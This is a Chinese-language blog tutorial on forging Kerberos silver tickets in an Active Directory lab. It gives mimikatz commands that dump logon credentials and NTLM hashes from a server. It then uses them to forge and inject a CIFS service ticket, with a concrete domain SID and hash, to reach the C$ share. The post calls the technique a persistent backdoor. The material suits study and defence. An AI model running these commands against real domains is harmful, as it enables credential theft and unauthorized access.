域渗透 | 白银票据利用

2020-03-08 18:03:45 浏览数 (1)

目录

0x01 介绍

0x02 白银票据利用

0x01 介绍

之前,我们已经详细说过Kerberos认证的流程,这次我们就来说说如何对其进行利用,这次主要说的是白银票据伪造(Silver Tickets)

白银票据伪造利用的是Kerberos认证中的第三个步骤,在第三步的时候,client会带着ticket向server的某个服务进行请求,如果验证通过就可以访问server上的指定服务了,这里ticket的格式是这样的:

代码语言:javascript复制
Server hash(server session key   client info   end time)

其中client info我们是很清楚的,end time也可以根据自己当前的时间进行伪造,server session key是TGS生成的,在未向server发送ticket的时候,server也是不知道server session key是什么的,所以只要我们知道server hash就可以去访问server中的指定服务了

其实与其说这是一种利用方式,倒不如说这是一个后门,在拥有server hash的时候,可以随时去请求server。

根据上面的攻击流程总结以下白银票据的攻击特点:

1.不需要与KDC进行交互

2.需要server的NTLM hash

0x02 白银票据利用

代码语言:javascript复制
DC 192.168.6.112
Client 192.168.6.113WIN7-CLIENT.zhujian.com
Server 192.168.6.114WIN7-SERVER.zhujian.com

这里我们使用文件共享的方式来进行验证

输入\WIN7-SERVER.zhujian.comc$进行验证

发现需要输入密码才能进行连接

然后我们使用mimikatz去Server中导出hash

代码语言:javascript复制
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

可以发现已经获取到了hash等各种信息

然后回到client中使用mimikatz来伪造票据

命令如下

代码语言:javascript复制
mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt" exit

其中的信息可以这样获得

SID不需要填最后的 -500

注:这里的目标服务器主机名不能用这里hostname的内容,而是要写全称

服务类型可以从以下内容中来进行选择,因为我们没有TGT去不断申请ticket,所以只能针对某一些服务来进行伪造

其中的用户名可以随便写,这个是不受影响的,因为在数据传过去之前server是不知道用户名的,对于传输流程还不太熟悉的,可以移步《Windows认证 | 域认证》

所以最后得到的信息是这样的

代码语言:javascript复制
mimikatz.exe "kerberos::golden /domain:zhujian.com /sid:S-1-5-21-829259175-2571685386-1296789624 /target: WIN7-SERVER.zhujian.com /service:cifs /rc4:e467173f3c80e9f23084396625486f60 /user: secquan /ptt" exit

然后再一次进行测试

已经可以成功访问了

如果对Windows认证有兴趣的可以看一下下面的几篇文章来学习一下《Windows认证 | Windows本地认证》、《Windows认证 | 网络认证》、《Windows认证 | 域认证》、《SPN扫描》、《Kerberoasting攻击》

推荐阅读

  1. 离线破解Navicat密码
  2. php-fpm在nginx特定环境下的任意代码执行漏洞(CVE-2019-11043)
  3. Linux权限详解
  4. Linux文件查找命令详解
  5. Linux重定向及反弹shell详解

如果对你有帮助,请点击在看或者转发

都是对我的一种支持

0 人点赞